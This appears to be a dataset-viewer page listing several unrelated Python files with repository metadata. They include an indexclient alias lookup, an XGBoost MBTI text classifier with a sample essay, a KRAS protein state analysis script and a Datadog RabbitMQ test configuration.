Datasets:

ytzi

/

the-stack-dedup-python-scored-filtered

like 0

6ab57006541d451df413f174cce8e16652508bf7

py

Python

indexclient/parsers/info.py

uc-cdis/indexclient

5d61bdb2cb9c0104f173d7bba43d92449a093c6d

2020-02-19T15:52:13.000Z

2021-10-30T12:06:22.000Z

indexclient/parsers/info.py

uc-cdis/indexclient

5d61bdb2cb9c0104f173d7bba43d92449a093c6d

2017-11-30T18:15:53.000Z

2021-08-20T16:14:17.000Z

indexclient/parsers/info.py

uc-cdis/indexclient

5d61bdb2cb9c0104f173d7bba43d92449a093c6d

2019-01-31T21:07:50.000Z

2019-01-31T21:07:50.000Z

import sys import json import logging import argparse import warnings import requests from indexclient import errors # DEPRECATED 11/2019 -- interacts with old `/alias/` endpoint. # For creating aliases for indexd records, prefer using # the `add_alias` function, which interacts with the new # `/index/{GUID}/aliases` endpoint. def info(host, port, name, **kwargs): """ Retrieve info by name. """ warnings.warn( ( "This function is deprecated. For creating aliases for indexd " "records, prefer using the `add_alias_for_did` function, which " "interacts with the new `/index/{GUID}/aliases` endpoint." ), DeprecationWarning, ) resource = "http://{host}:{port}/alias/{name}".format( host=host, port=port, name=name ) res = requests.get(resource) try: res.raise_for_status() except Exception as err: raise errors.BaseIndexError(res.status_code, res.text) try: doc = res.json() except ValueError as err: reason = json.dumps({"error": "invalid json payload returned"}) raise errors.BaseIndexError(res.status_code, reason) sys.stdout.write(json.dumps(doc)) def config(parser): """ Configure the info command. """ parser.set_defaults(func=info) parser.add_argument("name", help="name of information to retrieve")

6ab606d6bade1bb254f8ee2b1905c9d3d07e2051

py

Python

ai_analysis.py

kwangilkimkenny/chatbot_seq2seq_flask

f2f3bda9311c5f2930aebc8ae4a6497597b190e1

ai_analysis.py

kwangilkimkenny/chatbot_seq2seq_flask

f2f3bda9311c5f2930aebc8ae4a6497597b190e1

ai_analysis.py

kwangilkimkenny/chatbot_seq2seq_flask

f2f3bda9311c5f2930aebc8ae4a6497597b190e1

import pandas as pd import numpy as np import re import pickle # plotting import seaborn as sns import matplotlib.pyplot as plt # Tune learning_rate from numpy import loadtxt from xgboost import XGBClassifier from sklearn.model_selection import GridSearchCV from sklearn.model_selection import StratifiedKFold # First XGBoost model for MBTI dataset from numpy import loadtxt from xgboost import XGBClassifier from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score ##### Compute list of subject with Type | list of comments from nltk.stem import PorterStemmer, WordNetLemmatizer from nltk.corpus import stopwords from nltk import word_tokenize import nltk nltk.download('wordnet') from sklearn.feature_extraction.text import TfidfTransformer from sklearn.feature_extraction.text import CountVectorizer from sklearn.manifold import TSNE #타입을 숫자로 변환 def get_types(row): t=row['type'] I = 0; N = 0 T = 0; J = 0 if t[0] == 'I': I = 1 elif t[0] == 'E': I = 0 else: print('I-E incorrect') if t[1] == 'N': N = 1 elif t[1] == 'S': N = 0 else: print('N-S incorrect') if t[2] == 'T': T = 1 elif t[2] == 'F': T = 0 else: print('T-F incorrect') if t[3] == 'J': J = 1 elif t[3] == 'P': J = 0 else: print('J-P incorrect') return pd.Series( {'IE':I, 'NS':N , 'TF': T, 'JP': J }) #딕셔너리파일 설정 b_Pers = {'I':0, 'E':1, 'N':0, 'S':1, 'F':0, 'T':1, 'J':0, 'P':1} #리스트를 두개씩 묶어서 리스트로 만듬 b_Pers_list = [{0:'I', 1:'E'}, {0:'N', 1:'S'}, {0:'F', 1:'T'}, {0:'J', 1:'P'}] def translate_personality(personality): # transform mbti to binary vector return [b_Pers[l] for l in personality] def translate_back(personality): # transform binary vector to mbti personality s = "" for i, l in enumerate(personality): s += b_Pers_list[i][l] return s # We want to remove these from the psosts unique_type_list = ['INFJ', 'ENTP', 'INTP', 'INTJ', 'ENTJ', 'ENFJ', 'INFP', 'ENFP', 'ISFP', 'ISTP', 'ISFJ', 'ISTJ', 'ESTP', 'ESFP', 'ESTJ', 'ESFJ'] unique_type_list = [x.lower() for x in unique_type_list] # Lemmatize stemmer = PorterStemmer() lemmatiser = WordNetLemmatizer() # Cache the stop words for speed cachedStopWords = stopwords.words("english") def pre_process_data(data, remove_stop_words=True, remove_mbti_profiles=True): list_personality = [] list_posts = [] len_data = len(data) i=0 for row in data.iterrows(): i+=1 if (i % 500 == 0 or i == 1 or i == len_data): print("%s of %s rows" % (i, len_data)) ##### Remove and clean comments posts = row[1].posts temp = re.sub('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', ' ', posts) temp = re.sub("[^a-zA-Z]", " ", temp) temp = re.sub(' +', ' ', temp).lower() if remove_stop_words: temp = " ".join([lemmatiser.lemmatize(w) for w in temp.split(' ') if w not in cachedStopWords]) else: temp = " ".join([lemmatiser.lemmatize(w) for w in temp.split(' ')]) if remove_mbti_profiles: for t in unique_type_list: temp = temp.replace(t,"") type_labelized = translate_personality(row[1].type) list_personality.append(type_labelized) list_posts.append(temp) list_posts = np.array(list_posts) list_personality = np.array(list_personality) return list_posts, list_personality # read data # data = pd.read_csv('/Users/jongphilkim/Desktop/Django_WEB/essayfitaiproject_2020_12_09/essayai/mbti_1.csv') data = pd.read_csv('./mbti/mbti_1.csv') # get_types 함수 적용 data = data.join(data.apply (lambda row: get_types (row),axis=1)) # load with open('./mbti/list_posts.pickle', 'rb') as f: list_posts = pickle.load(f) # load with open('./mbti/list_personality.pickle', 'rb') as f: list_personality = pickle.load(f) # # Posts to a matrix of token counts cntizer = CountVectorizer(analyzer="word", max_features=1500, tokenizer=None, preprocessor=None, stop_words=None, max_df=0.7, min_df=0.1) # Learn the vocabulary dictionary and return term-document matrix print("CountVectorizer...") X_cnt = cntizer.fit_transform(list_posts) ################################################# #save!!! model X_cnt import pickle # save # with open('./essayai/ai_character/mbti/data_X_cnt.pickle', 'wb') as f: # pickle.dump(X_cnt, f, pickle.HIGHEST_PROTOCOL) # load with open('./mbti/data_X_cnt.pickle', 'rb') as f: X_cnt = pickle.load(f) ################################################# # Transform the count matrix to a normalized tf or tf-idf representation tfizer = TfidfTransformer() print("Tf-idf...") # Learn the idf vector (fit) and transform a count matrix to a tf-idf representation X_tfidf = tfizer.fit_transform(X_cnt).toarray() # load with open('./mbti/data.pickle', 'rb') as f: X_tfidf = pickle.load(f) def mbti_classify(text): type_indicators = [ "IE: Introversion (I) / Extroversion (E)", "NS: Intuition (N) – Sensing (S)", "FT: Feeling (F) - Thinking (T)", "JP: Judging (J) – Perceiving (P)" ] # Posts in tf-idf representation X = X_tfidf my_posts = str(text) # The type is just a dummy so that the data prep fucntion can be reused mydata = pd.DataFrame(data={'type': ['INFJ'], 'posts': [my_posts]}) my_posts, dummy = pre_process_data(mydata, remove_stop_words=True) my_X_cnt = cntizer.transform(my_posts) my_X_tfidf = tfizer.transform(my_X_cnt).toarray() # setup parameters for xgboost param = {} param['n_estimators'] = 200 param['max_depth'] = 2 param['nthread'] = 8 param['learning_rate'] = 0.2 result = [] # Let's train type indicator individually for l in range(len(type_indicators)): print("%s ..." % (type_indicators[l])) Y = list_personality[:,l] # split data into train and test sets seed = 7 test_size = 0.33 X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=test_size, random_state=seed) # fit model on training data model = XGBClassifier(**param) model.fit(X_train, y_train) # make predictions for my data y_pred = model.predict(my_X_tfidf) result.append(y_pred[0]) # print("* %s prediction: %s" % (type_indicators[l], y_pred)) print("The result is: ", translate_back(result)) #결과를 리스트에 담고 Result_list = list(translate_back(result)) #mbit 결과값에 따라 내용 print 하기 # read data # data = pd.read_csv('/Users/jongphilkim/Desktop/Django_WEB/essayfitaiproject/essayai/mbti_exp.csv') data = pd.read_csv('./mbti/mbti_exp.csv') #새로운 데이터프레임을 만들어서 계산된 값을 추가할 예정 df2 = pd.DataFrame(index=range(0,4),columns=['Type', 'Explain']) #리스트에서 한글자씩 불러와서 데이터프레임의 값을 출력하면 됨 for i in range(0, len(Result_list)): type = Result_list[i] for j in range(0, len(data)): if type == data.iloc[j,0]: break is_mbti = data.iloc[j,2] df2.iloc[i, [0,1]] = [type, is_mbti] print(df2) return df2 # my_posts = """Describe a place or environment where you are perfectly content. What do you do or experience there, and why is it meaningful to you? 644 words out of 650 Gettysburg, a small town in the middle of Pennsylvania, was the sight of the largest, bloodiest battle in the Civil War. Something about these hallowed grounds draws me back every year for a three day camping trip with my family over Labor Day weekend. Every year, once school starts, I count the days until I take that three and half hour drive from Pittsburgh to Gettysburg. Each year, we leave after school ends on Friday and arrive in Gettysburg with just enough daylight to pitch the tents and cook up a quick dinner on the campfire. As more of the extended family arrives, we circle around the campfire and find out what is new with everyone. The following morning, everyone is up by nine and helping to make breakfast which is our best meal of the day while camping. Breakfast will fuel us for the day as we hike the vast battlefields. My Uncle Mark, my twin brother, Andrew, and I like to take charge of the family tour since we have the most passion and knowledge about the battle. I have learned so much from the stories Mark tells us while walking on the tours. Through my own research during these last couple of trips, I did some of the explaining about the events that occurred during the battle 150 years ago. My fondest experience during one trip was when we decided to go off of the main path to find a carving in a rock from a soldier during the battle. Mark had read about the carving in one of his books about Gettysburg, and we were determined to locate it. After almost an hour of scanning rocks in the area, we finally found it with just enough daylight to read what it said. After a long day of exploring the battlefield, we went back to the campsite for some 'civil war' stew. There is nothing special about the stew, just meat, vegetables and gravy, but for whatever reason, it is some of the best stew I have ever eaten. For the rest of the night, we enjoy the company of our extended family. My cousins, my brother and I listen to the stories from Mark and his friends experiences' in the military. After the parents have gone to bed, we stay up talking with each other, inching closer and closer to the fire as it gets colder. Finally, we creep back into our tents, trying to be as quiet as possible to not wake our parents. The next morning we awake red-eyed from the lack of sleep and cook up another fantastic breakfast. Unfortunately, after breakfast we have to pack up and head back to Pittsburgh. It will be another year until I visit Gettysburg again. There is something about that time I spend in Gettysburg that keeps me coming back to visit. For one, it is just a fun, relaxing time I get to spend with my family. This trip also fulfills my love for the outdoors. From sitting by the campfire and falling asleep to the chirp of the crickets, that is my definition of a perfect weekend. Gettysburg is also an interesting place to go for Civil War buffs like me. While walking down the Union line or walking Pickett's Charge, I imagine how the battle would have been played out around me. Every year when I visit Gettysburg, I learn more facts and stories about the battle, soldiers and generally about the Civil War. While I am in Gettysburg, I am perfectly content, passionate about the history and just enjoying the great outdoors with my family. This drive to learn goes beyond just my passion for history but applies to all of the math, science and business classes I have taken and clubs I am involved in at school. Every day, I am genuinely excited to learn. # """ # test = mbti_classify(my_posts) # print ('check') # test # print ('check2')

6ab6c4226f6262d47cafb69a5403744916d50994

py

Python

mummi_ras/online/aa/aa_get_tiltrot_z_state.py

mummi-framework/mummi-ras

7f4522aad36661e4530e39c830ab8c2a6f134060

2021-11-16T07:16:36.000Z

2022-02-16T23:33:46.000Z

mummi_ras/online/aa/aa_get_tiltrot_z_state.py

mummi-framework/mummi-ras

7f4522aad36661e4530e39c830ab8c2a6f134060

2021-11-23T20:23:28.000Z

2021-12-03T09:08:34.000Z

mummi_ras/online/aa/aa_get_tiltrot_z_state.py

mummi-framework/mummi-ras

7f4522aad36661e4530e39c830ab8c2a6f134060

2021-11-23T19:54:59.000Z

2022-02-16T23:32:17.000Z

############################################################################### # @todo add Pilot2-splash-app disclaimer ############################################################################### """ Get's KRAS states """ import MDAnalysis as mda from MDAnalysis.analysis import align from MDAnalysis.lib.mdamath import make_whole import os import numpy as np import math ############## Below section needs to be uncommented ############ import mummi_core import mummi_ras from mummi_core.utils import Naming # # Logger has to be initialized the first thing in the script from logging import getLogger LOGGER = getLogger(__name__) # # Innitilize MuMMI if it has not been done before # MUMMI_ROOT = mummi.init(True) # This is needed so the Naming works below #@TODO fix this so we don't have these on import make them as an init mummi_core.init() dirKRASStates = Naming.dir_res('states') dirKRASStructures = Naming.dir_res('structures') # #RAS_ONLY_macrostate = np.loadtxt(os.path.join(dirKRASStates, "RAS-ONLY.microstates.txt")) RAS_ONLY_macrostate = np.loadtxt(os.path.join(dirKRASStates, "ras-states.txt"),comments='#') # #RAS_RAF_macrostate = np.loadtxt(os.path.join(dirKRASStates, "RAS-RAF.microstates.txt")) RAS_RAF_macrostate = np.loadtxt(os.path.join(dirKRASStates, "ras-raf-states.txt"),comments='#') # Note diffrent number of columns so index change below # TODO: CS, my edits to test # RAS_ONLY_macrostate = np.loadtxt('ras-states.txt') # RAS_RAF_macrostate = np.loadtxt('ras-raf-states.txt') ############## above section needs to be uncommented ############ # TODO: CS, my edits to test # TODO: TSC, The reference structure has to currently be set as the 'RAS-ONLY-reference-structure.gro' # TODO: TSC, path to the reference structure is: mummi_resources/structures/ kras_ref_universe = mda.Universe(os.path.join(dirKRASStructures, "RAS-ONLY-reference-structure.gro")) # kras_ref_universe = mda.Universe("RAS-ONLY-reference-structure.gro") # kras_ref_universe = mda.Universe('AA_pfpatch_000000004641_RAS_RAF2_411.gro') # TODO: CS, not using these for x4 proteins; instead using protein_systems below to set num_res ######### Below hard codes the number of residues within RAS-only and RAS-RAF ########## RAS_only_num_res = 184 RAS_RAF_num_res = 320 ######### Above hard codes the number of residues within RAS-only and RAS-RAF ########## ####### This can be removed # def get_kras(syst, kras_start): # """Gets all atoms for a KRAS protein starting at 'kras_start'.""" # return syst.atoms[kras_start:kras_start+428] ####### This can be removed def get_segids(u): """Identifies the list of segments within the system. Only needs to be called x1 time""" segs = u.segments segs = segs.segids ras_segids = [] rasraf_segids = [] for i in range(len(segs)): # print(segs[i]) if segs[i][-3:] == 'RAS': ras_segids.append(segs[i]) if segs[i][-3:] == 'RAF': rasraf_segids.append(segs[i]) return ras_segids, rasraf_segids def get_protein_info(u,tag): """Uses the segments identified in get_segids to make a list of all proteins in the systems.\ Outputs a list of the first residue number of the protein, and whether it is 'RAS-ONLY', or 'RAS-RAF'.\ The 'tag' input defines what is used to identify the first residue of the protein. i.e. 'resname ACE1 and name BB'.\ Only needs to be called x1 time""" ras_segids, rasraf_segids = get_segids(u) if len(ras_segids) > 0: RAS = u.select_atoms('segid '+ras_segids[0]+' and '+str(tag)) else: RAS = [] if len(rasraf_segids) > 0: RAF = u.select_atoms('segid '+rasraf_segids[0]+' and '+str(tag)) else: RAF = [] protein_info = []#np.empty([len(RAS)+len(RAF),2]) for i in range(len(RAS)): protein_info.append((RAS[i].resid,'RAS-ONLY')) for i in range(len(RAF)): protein_info.append((RAF[i].resid,'RAS-RAF')) ######## sort protein info protein_info = sorted(protein_info) ######## sort protein info return protein_info def get_ref_kras(): """Gets the reference KRAS struct. Only called x1 time when class is loaded""" start_of_g_ref = kras_ref_universe.residues[0].resid ref_selection = 'resid '+str(start_of_g_ref)+':'+str(start_of_g_ref+24)+' ' +\ str(start_of_g_ref+38)+':'+str(start_of_g_ref+54)+' ' +\ str(start_of_g_ref+67)+':'+str(start_of_g_ref+164)+' ' +\ 'and (name CA or name BB)' r2_26r40_56r69_166_ref = kras_ref_universe.select_atoms(str(ref_selection)) return kras_ref_universe.select_atoms(str(ref_selection)).positions - kras_ref_universe.select_atoms(str(ref_selection)).center_of_mass() # Load inital ref frames (only need to do this once) ref0 = get_ref_kras() def getKRASstates(u,kras_indices): """Gets states for all KRAS proteins in path.""" # res_shift = 8 # all_glycine = u.select_atoms("resname GLY") # kras_indices = [] # for i in range(0, len(all_glycine), 26): # kras_indices.append(all_glycine[i].index) ########## Below is taken out of the function so it is only done once ######### # kras_indices = get_protein_info(u,'resname ACE1 and name BB') ########## Above is taken out of the function so it is only done once ######### # CS, for x4 cases: # [{protein_x4: (protein_type, num_res)}] protein_systems = [{'ras4a': ('RAS-ONLY', 185), 'ras4araf': ('RAS-RAF', 321), 'ras': ('RAS-ONLY', 184), 'rasraf': ('RAS-RAF', 320)}] ALLOUT = [] for k in range(len(kras_indices)): start_of_g = kras_indices[k][0] protein_x4 = str(kras_indices[k][1]) try: protein_type = [item[protein_x4] for item in protein_systems][0][0] # 'RAS-ONLY' OR 'RAS-RAF' num_res = [item[protein_x4] for item in protein_systems][0][1] except: LOGGER.error('Check KRas naming between modules') raise Exception('Error: unknown KRas name') # TODO: CS, replacing this comment section with the above, to handle x4 protein types # --------------------------------------- # ALLOUT = [] # for k in range(len(kras_indices)): # start_of_g = kras_indices[k][0] # protein_type = str(kras_indices[k][1]) # ########## BELOW SECTION TO DETERMINE WHICH RESIDUES ARE PART OF THE PROTEIN GROUP - NEEDED FOR PBC REMOVAL ############## # ########## POTENTIALLY REDO WITH A 'HARD-CODED' NUMBER OF RESIDUES PER PROTEIN GROUP (WHETHER RAS-ONLY OR RAS-RAF) ####### # ########## HAS BEEN REDONE WITH A 'HARD-CODED' NUMBER OF RESIDUES PER PROTEIN GROUP (WHETHER RAS-ONLY OR RAS-RAF) ######## # # if len(kras_indices) == 1: # # krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(len(u.residues))+' and name BB') ####### HAS TO BE FIXED FOR BACKBONE ATOMS FOR SPECIFIC PROTEIN # # elif len(kras_indices) > 1: # # if k == len(kras_indices)-1: # # krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(len(u.residues))+' and name BB') # # else: # # krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(kras_indices[k+1][0])+' and name BB') # ########## ABOVE SECTION TO DETERMINE WHICH RESIDUES ARE PART OF THE PROTEIN GROUP - NEEDED FOR PBC REMOVAL ############## # # ########## Below hard codes the number of residues/beads in the RAS-ONLY and RAS-RAF simulations ######################### # if protein_type == 'RAS-ONLY': # num_res = RAS_only_num_res # elif protein_type == 'RAS-RAF': # num_res = RAS_RAF_num_res # ########## Above hard codes the number of residues/beads in the RAS-ONLY and RAS-RAF simulations ######################### # --------------------------------------- # TODO: TSC, I changed the selection below, which can be used for the make_whole... # krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(start_of_g+num_res)+' and (name CA or name BB)') krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(start_of_g+num_res)) krases0_BB.guess_bonds() r2_26r40_56r69_166 = u.select_atoms('resid '+str(start_of_g)+':'+str(start_of_g+24)+' ' +\ str(start_of_g+38)+':'+str(start_of_g+54)+' ' +\ str(start_of_g+67)+':'+str(start_of_g+164)+\ ' and (name CA or name BB)') u_selection = \ 'resid '+str(start_of_g)+':'+str(start_of_g+24)+' '+str(start_of_g+38)+':'+str(start_of_g+54)+' ' +\ str(start_of_g+67)+':'+str(start_of_g+164)+' and (name CA or name BB)' mobile0 = u.select_atoms(str(u_selection)).positions - u.select_atoms(str(u_selection)).center_of_mass() # TODO: CS, something wrong with ref0 from get_kras_ref() # just making ref0 = mobile0 to test for now # ref0 = mobile0 # TSC removed this R, RMSD_junk = align.rotation_matrix(mobile0, ref0) ######## TODO: TSC, Adjusted for AA lipid names ######## # lipids = u.select_atoms('resname POPX POPC PAPC POPE DIPE DPSM PAPS PAP6 CHOL') lipids = u.select_atoms('resname POPC PAPC POPE DIPE SSM PAPS SAPI CHL1') coords = ref0 RotMat = [] OS = [] r152_165 = krases0_BB.select_atoms('resid '+str(start_of_g+150)+':'+str(start_of_g+163)+' and (name CA or name BB)') r65_74 = krases0_BB.select_atoms('resid '+str(start_of_g+63)+':'+str(start_of_g+72)+' and (name CA or name BB)') timeframes = [] # TODO: CS, for AA need bonds to run make_whole() # krases0_BB.guess_bonds() # TODO: CS, turn off for now to test beyond this point ''' *** for AA, need to bring that back on once all else runs *** ''' # @Tim and Chris S. this was commented out - please check. #make_whole(krases0_BB) j, rmsd_junk = mda.analysis.align.rotation_matrix((r2_26r40_56r69_166.positions-r2_26r40_56r69_166.center_of_mass()), coords) RotMat.append(j) OS.append(r65_74.center_of_mass()-r152_165.center_of_mass()) timeframes.append(u.trajectory.time) if protein_type == 'RAS-RAF': z_pos = [] ############### NEED TO CONFIRM THE SELECTION OF THE RAF LOOP RESIDUES BELOW #################### ############### TODO: TSC, zshifting is set to -1 (instead of -2), as there are ACE caps that are separate residues in AA #zshifting=-1 if protein_x4 == 'rasraf': zshifting = -1 elif protein_x4 == 'ras4araf': zshifting = 0 else: zshifting = 0 LOGGER.error('Found unsupported protein_x4 type') raf_loops_selection = u.select_atoms('resid '+str(start_of_g+zshifting+291)+':'+str(start_of_g+zshifting+294)+' ' +\ str(start_of_g+zshifting+278)+':'+str(start_of_g+zshifting+281)+' ' +\ ' and (name CA or name BB)') ############### NEED TO CONFIRM THE SELECTION OF THE RAF LOOP RESIDUES ABOVE #################### diff = (lipids.center_of_mass()[2]-raf_loops_selection.center_of_mass(unwrap=True)[2])/10 if diff < 0: diff = diff+(u.dimensions[2]/10) z_pos.append(diff) z_pos = np.array(z_pos) RotMatNP = np.array(RotMat) OS = np.array(OS) OA = RotMatNP[:, 2, :]/(((RotMatNP[:, 2, 0]**2)+(RotMatNP[:, 2, 1]**2)+(RotMatNP[:, 2, 2]**2))**0.5)[:, None] OWAS = np.arccos(RotMatNP[:, 2, 2])*180/math.pi OC_temp = np.concatenate((OA, OS), axis=1) t = ((OC_temp[:, 0]*OC_temp[:, 3])+(OC_temp[:, 1]*OC_temp[:, 4]) + (OC_temp[:, 2]*OC_temp[:, 5]))/((OC_temp[:, 0]**2)+(OC_temp[:, 1]**2)+(OC_temp[:, 2]**2)) OC = OA*t[:, None] ORS_tp = np.concatenate((OC, OS), axis=1) ORS_norm = (((ORS_tp[:, 3]-ORS_tp[:, 0])**2)+((ORS_tp[:, 4]-ORS_tp[:, 1])**2)+((ORS_tp[:, 5]-ORS_tp[:, 2])**2))**0.5 ORS = (OS - OC)/ORS_norm[:, None] OACRS = np.cross(OA, ORS) OZCA = OA * OA[:, 2][:, None] Z_unit = np.full([len(OZCA), 3], 1) Z_adjust = np.array([0, 0, 1]) Z_unit = Z_unit*Z_adjust Z_OZCA = Z_unit-OZCA OZPACB = Z_OZCA/((Z_OZCA[:, 0]**2+Z_OZCA[:, 1]**2+Z_OZCA[:, 2]**2)**0.5)[:, None] OROTNOTSIGNED = np.zeros([len(ORS)]) for i in range(len(ORS)): OROTNOTSIGNED[i] = np.arccos(np.dot(OZPACB[i, :], ORS[i, :]) / (np.sqrt(np.dot(OZPACB[i, :], OZPACB[i, :]))) * (np.sqrt(np.dot(ORS[i, :], ORS[i, :]))))*180/math.pi OZPACBCRS_cross = np.cross(OZPACB, ORS) OZPACBCRS = OZPACBCRS_cross/((OZPACBCRS_cross[:, 0]**2+OZPACBCRS_cross[:, 1]**2+OZPACBCRS_cross[:, 2]**2)**0.5)[:, None] OFORSIGN_temp = (OA - OZPACBCRS)**2 OFORSIGN = OFORSIGN_temp[:, 0]+OFORSIGN_temp[:, 1]+OFORSIGN_temp[:, 2] OROT = OROTNOTSIGNED for i in range(len(OROT)): if OROT[i] < 0: OROT[i] = -(OROT[i]) for i in range(len(OROT)): if OFORSIGN[i] < 0.25: OROT[i] = -(OROT[i]) ###### Below introduces new shift to account for upper vs. lower leaflet ##### for i in range(len(OWAS)): OWAS[i] = abs(-(OWAS[i])+180) # made this an absolute value so that the tilt remains positive for i in range(len(OROT)): if OROT[i] < 0: OROT[i] = OROT[i]+180 elif OROT[i] > 0: OROT[i] = OROT[i]-180 ###### Above introduces new shift to account for upper vs. lower leaflet ##### ###### Below might have to be updated to take into account the periodic nature of the rotation ###### if protein_type == 'RAS-ONLY': states = np.zeros(len(OROT)) for j in range(len(OROT)): diff0 = [] for i in range(len(RAS_ONLY_macrostate)): #diff0.append([((RAS_ONLY_macrostate[i,0]-OWAS[j])**2+(RAS_ONLY_macrostate[i,1]-OROT[j])**2)**0.5, RAS_ONLY_macrostate[i,6]]) diff0.append([((RAS_ONLY_macrostate[i,1]-OWAS[j])**2+(RAS_ONLY_macrostate[i,0]-OROT[j])**2)**0.5, RAS_ONLY_macrostate[i,5]]) diff0.sort() states[j] = diff0[0][1] elif protein_type == 'RAS-RAF': states = np.zeros(len(OROT)) for j in range(len(OROT)): ### below: adding in the requirements for the 'high-z' state ### if (OROT[j] < -45 or OROT[j] > 140) and z_pos[j] > 4.8: states[j] = 3 else: ### above: adding in the requirements for the 'high-z' state ### diff0 = [] for i in range(len(RAS_RAF_macrostate)): #diff0.append([((RAS_RAF_macrostate[i,0]-OWAS[j])**2+(RAS_RAF_macrostate[i,1]-OROT[j])**2)**0.5, RAS_RAF_macrostate[i,6]]) diff0.append([((RAS_RAF_macrostate[i,1]-OWAS[j])**2+(RAS_RAF_macrostate[i,0]-OROT[j])**2)**0.5, RAS_RAF_macrostate[i,4]]) diff0.sort() states[j] = diff0[0][1] ###### Above might have to be updated to take into account the periodic nature of the rotation ###### ###### Assume we want to remove this? Where is the code that reads this information? i.e. will there be knock-on effects? ###### ###### If feedback code needs index 5 (two_states) from the output, deleting this four_states will shift that to index 4 ####### # four_states = np.zeros(len(OROT)) # for j in range(len(OROT)): # diff0 = [] # for i in range(len(macrostate4)): # diff0.append([((macrostate4[i,0]-OWAS[j])**2+(macrostate4[i,1]-OROT[j])**2)**0.5, macrostate4[i,6]]) # diff0.sort() # four_states[j] = diff0[0][1]+1 ###### below: old output details.... ###################################### ###### Updated - RAS-only to NOT HAVE the Z-distance ###################### ###### Updated - Added in the protein 'tag', i.e. RAS-ONLY or RAS-RAF ##### # OUTPUT = np.zeros([len(OROT), 6]) # for i in range(len(OROT)): # OUTPUT[i] = timeframes[i], OWAS[i], OROT[i], z_pos[i], four_states[i], two_states[i] ###### above: old output details.... ###################################### ###### below: NEW output details.... ###################################### if protein_type == 'RAS-ONLY': OUTPUT = np.zeros([len(OROT), 6]).astype(object) for i in range(len(OROT)): OUTPUT[i] = str(protein_type), timeframes[i], OWAS[i], OROT[i], 'n/a', int(states[i]) elif protein_type == 'RAS-RAF': OUTPUT = np.zeros([len(OROT), 6]).astype(object) for i in range(len(OROT)): OUTPUT[i] = str(protein_type), timeframes[i], OWAS[i], OROT[i], z_pos[i], int(states[i]) ALLOUT.append(OUTPUT) return np.asarray(ALLOUT) #np.savetxt(str(tpr)+"_tilt_rot_z_state.KRAS_"+str(k+1)+".txt", OUTPUT, fmt=['%i','%10.3f','%10.3f','%10.3f','%i','%i'], delimiter=' ')

6ac4ca9b00a8492410dc6166ad36ac8d64fdcffc

py

Python

rabbitmq/tests/common.py

jfmyers9/integrations-core

8793c784f1d5b2c9541b2dd4214dd91584793ced

2021-03-24T13:00:14.000Z

2021-03-24T13:00:14.000Z

rabbitmq/tests/common.py

jfmyers9/integrations-core

8793c784f1d5b2c9541b2dd4214dd91584793ced

rabbitmq/tests/common.py

jfmyers9/integrations-core

8793c784f1d5b2c9541b2dd4214dd91584793ced

# (C) Datadog, Inc. 2018-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import os from packaging import version from datadog_checks.base.utils.common import get_docker_hostname HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(os.path.dirname(HERE)) RABBITMQ_VERSION_RAW = os.environ['RABBITMQ_VERSION'] RABBITMQ_VERSION = version.parse(RABBITMQ_VERSION_RAW) CHECK_NAME = 'rabbitmq' HOST = get_docker_hostname() PORT = 15672 URL = 'http://{}:{}/api/'.format(HOST, PORT) CONFIG = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'queues': ['test1'], 'tags': ["tag1:1", "tag2"], 'exchanges': ['test1'], } CONFIG_NO_NODES = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'queues': ['test1'], 'tags': ["tag1:1", "tag2"], 'exchanges': ['test1'], 'collect_node_metrics': False, } CONFIG_REGEX = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'queues_regexes': [r'test\d+'], 'exchanges_regexes': [r'test\d+'], } CONFIG_VHOSTS = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'vhosts': ['/', 'myvhost'], } CONFIG_WITH_FAMILY = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'tag_families': True, 'queues_regexes': [r'(test)\d+'], 'exchanges_regexes': [r'(test)\d+'], } CONFIG_DEFAULT_VHOSTS = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'vhosts': ['/', 'test'], } CONFIG_TEST_VHOSTS = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'vhosts': ['test', 'test2'], } EXCHANGE_MESSAGE_STATS = { 'ack': 1.0, 'ack_details': {'rate': 1.0}, 'confirm': 1.0, 'confirm_details': {'rate': 1.0}, 'deliver_get': 1.0, 'deliver_get_details': {'rate': 1.0}, 'publish': 1.0, 'publish_details': {'rate': 1.0}, 'publish_in': 1.0, 'publish_in_details': {'rate': 1.0}, 'publish_out': 1.0, 'publish_out_details': {'rate': 1.0}, 'return_unroutable': 1.0, 'return_unroutable_details': {'rate': 1.0}, 'redeliver': 1.0, 'redeliver_details': {'rate': 1.0}, }

6ac4e4fc48c67f3dafab5b728a225aa95eec15e2

py

Python

st2common/st2common/util/pack.py

timgates42/st2

0e8ae756f30ffe2e017c64bff67830abdee7f7c9

st2common/st2common/util/pack.py

timgates42/st2

0e8ae756f30ffe2e017c64bff67830abdee7f7c9

2021-02-11T22:58:54.000Z

2021-08-06T18:03:47.000Z

st2common/st2common/util/pack.py

timgates42/st2

0e8ae756f30ffe2e017c64bff67830abdee7f7c9

